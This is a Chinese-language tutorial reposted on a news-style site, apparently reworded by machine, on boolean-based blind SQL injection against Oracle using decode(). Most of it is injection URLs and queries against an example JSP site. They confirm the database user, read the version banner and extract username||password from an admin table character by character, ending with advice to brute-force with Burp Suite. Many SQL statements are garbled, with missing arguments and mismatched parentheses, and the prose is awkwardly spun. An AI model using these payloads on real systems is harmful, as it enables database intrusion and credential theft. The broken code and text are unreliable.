Oracle基于布尔的盲注总结
副问题[/!--empirenews.page--]
0x01 decode?函数布尔盲注decode(字段或字段的运算,值1,值2,值3) 这个函数运行的功效是,当字段或字段的运算的值便是值1时,该函数返回值2,不然返回3 虽然值1,值2,值3也可所以表达式,这个函数使得某些sql语句简朴了很多 select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值 sign()函数按照某个值是0、正数照旧负数,别离返回0、1、-1 譬喻: SQL> select decode(sign(10-20),10,20) from dual; DECODE(SIGN(10-20),20) ---------------------------- 10 以是这个decode函数在我们注入中的应用 ? ? 测试当前用户 select decode(user,‘SYSTEM‘,1,0) from dual; 假如是system用户则返回1,不是则返回0. SQL> select decode(user,‘SYSTEM‘,1,0) from dual; DECODE(USER,0) ------------------------- 1 SQL> select decode(user,‘SYS‘,0) from dual; DECODE(USER,0) ---------------------- 0 注入点中decode盲注应用判定是否是SCOTT用户 http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(user,‘SCOTT‘,0) from dual) -- 当前也可以用字符逐个猜解,操作到substr()函数 http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(substr(user,1),‘S‘,0) from dual) -- 这里只必要替代我们必要查的内容即可?纷歧一罗列了,好比查询Oracle版本,判定版本的字符串第一个字符是否是O http://www.jsporcle.com/a.jsp?username=SMITH‘ and 1=(select decode(substr((select banner from sys.v_$version where rownum=1),‘O‘,0) from dual) -- 获取当前用户 (select user from dual) 获取当前版本 (select banner from sys.v_$version where rownum=1) (select username||password from admin) select length(user) from dual -- http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) -- 当前用户第一个字母的是否便是S 便是返回1不然返回0 (select decode(substr(user,1),‘S‘,0) from dual) -- (select decode(substr(user,2,‘Y‘,3,4,‘T‘,5,‘E‘,6,‘N‘,0) from dual) -- 测试当前用户语句 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,0) from dual) -- 获取当前admin表的帐号和暗码 select * from art where id=1 and 1=(select decode(substr((select username||password from admin),‘a‘,0) from dual) http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),0) from dual) 判定字符的字符 abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_. 查询第二个的时辰 http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),‘d‘,0) from dual) -- ? ?或许知道这些函数的用法?跑剧本爆破即可?burpsuite为例 (编辑:湖南网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |